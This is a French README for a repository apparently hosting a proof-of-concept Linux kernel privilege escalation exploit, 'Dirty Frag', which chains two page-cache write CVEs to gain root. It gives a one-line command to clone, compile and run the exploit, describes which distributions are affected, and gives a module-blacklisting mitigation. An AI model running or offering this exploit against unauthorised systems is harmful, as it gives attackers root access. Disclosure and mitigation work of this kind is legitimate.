frosterdl/cve-2026-43284Exploit d'élévation de privilèges du noyau Linux enchaînant deux vulnérabilités d'écriture page-cache (CVE-2026-43284, CVE-2026-43500) pour un accès root déterministe sur les principales distributions.
Ce document explique la classe de vulnérabilité Dirty Frag, découverte et signalée par Hyunwoo Kim (@v4bel). En enchaînant xfrm-ESP Page-Cache Write (CVE-2026-43284) avec RxRPC Page-Cache Write (CVE-2026-43500), un attaquant peut obtenir les droits root sur les principales distributions Linux.
Dirty Frag appartient à la même famille de bogues que Dirty Pipe et Copy Fail. Il s'agit d'un bogue logique déterministe qui ne repose pas sur des fenêtres temporelles ou des conditions de concurrence, ne provoque pas de panique du noyau en cas d'échec et a un taux de réussite très élevé lorsqu'il est exploité.
Pour les détails techniques complets et le calendrier de divulgation, consultez le document d'analyse accompagnant (non inclus dans ce dépôt).
xfrm-ESP Page-Cache Write (CVE-2026-43284) a été corrigé dans le tronc principal au commit f4c50a4034e6.RxRPC Page-Cache Write (CVE-2026-43500) a été corrigé dans le tronc principal au commit aa54b1d27fe0.[!NOTE] Lorsque ce document a été publié pour la première fois (2026-05-07), l'embargo avait déjà été brisé à l'extérieur. À ce moment-là, aucun correctif public ni CVE n'était disponible. Après des discussions avec les mainteneurs sur [email protected], la divulgation de Dirty Frag a été publiée. Consultez le document technique pour le calendrier.
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Ce PoC est partagé à titre informatif après coordination avec linux-distros. Ne l'exécutez pas sur des systèmes que vous n'êtes pas autorisé à tester.
⚠️ Important : L'exécution de l'exploit pollue le cache de pages. Pour restaurer un état propre, exécutez :
echo 3 > /proc/sys/vm/drop_caches
ou redémarrez la machine.
Effectivement, ces vulnérabilités couvrent environ neuf ans.
Les versions de distributions testées incluent :
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
xfrm-ESP Page-Cache Write offre une primitive de STOCKAGE forte de 4 octets arbitraires similaire à Copy Fail et est disponible sur de nombreuses distributions, mais elle nécessite des privilèges pour créer un espace de noms.
Ubuntu peut restreindre la création d'espaces de noms utilisateur non privilégiés via AppArmor, empêchant ainsi le déclenchement de xfrm-ESP. RxRPC Page-Cache Write ne nécessite pas de privilèges de création d'espace de noms, mais le module rxrpc.ko n'est pas présent par défaut sur de nombreuses distributions. Sur Ubuntu, cependant, rxrpc.ko est généralement chargé.
En les enchaînant, ils couvrent les lacunes de l'autre, permettant d'obtenir root sur toutes les distributions majeures. Voir le document technique pour les détails.
Oui — Dirty Frag est lié à « Dirty Pipe », et le nom reflète le fait que cette classe de bogue modifie le membre frag de struct sk_buff.
Copy Fail a inspiré cette recherche. xfrm-ESP Page-Cache Write dans la chaîne Dirty Frag partage le même puits que Copy Fail, mais il se déclenche même lorsque la mitigation algif_aead est présente. Ainsi, les systèmes durcis contre Copy Fail peuvent encore être vulnérables à Dirty Frag.
Suivez les étapes de la section Atténuation ci-dessus.
Mainteneur : https://linkedin.com/in/tahamuhammadshafiq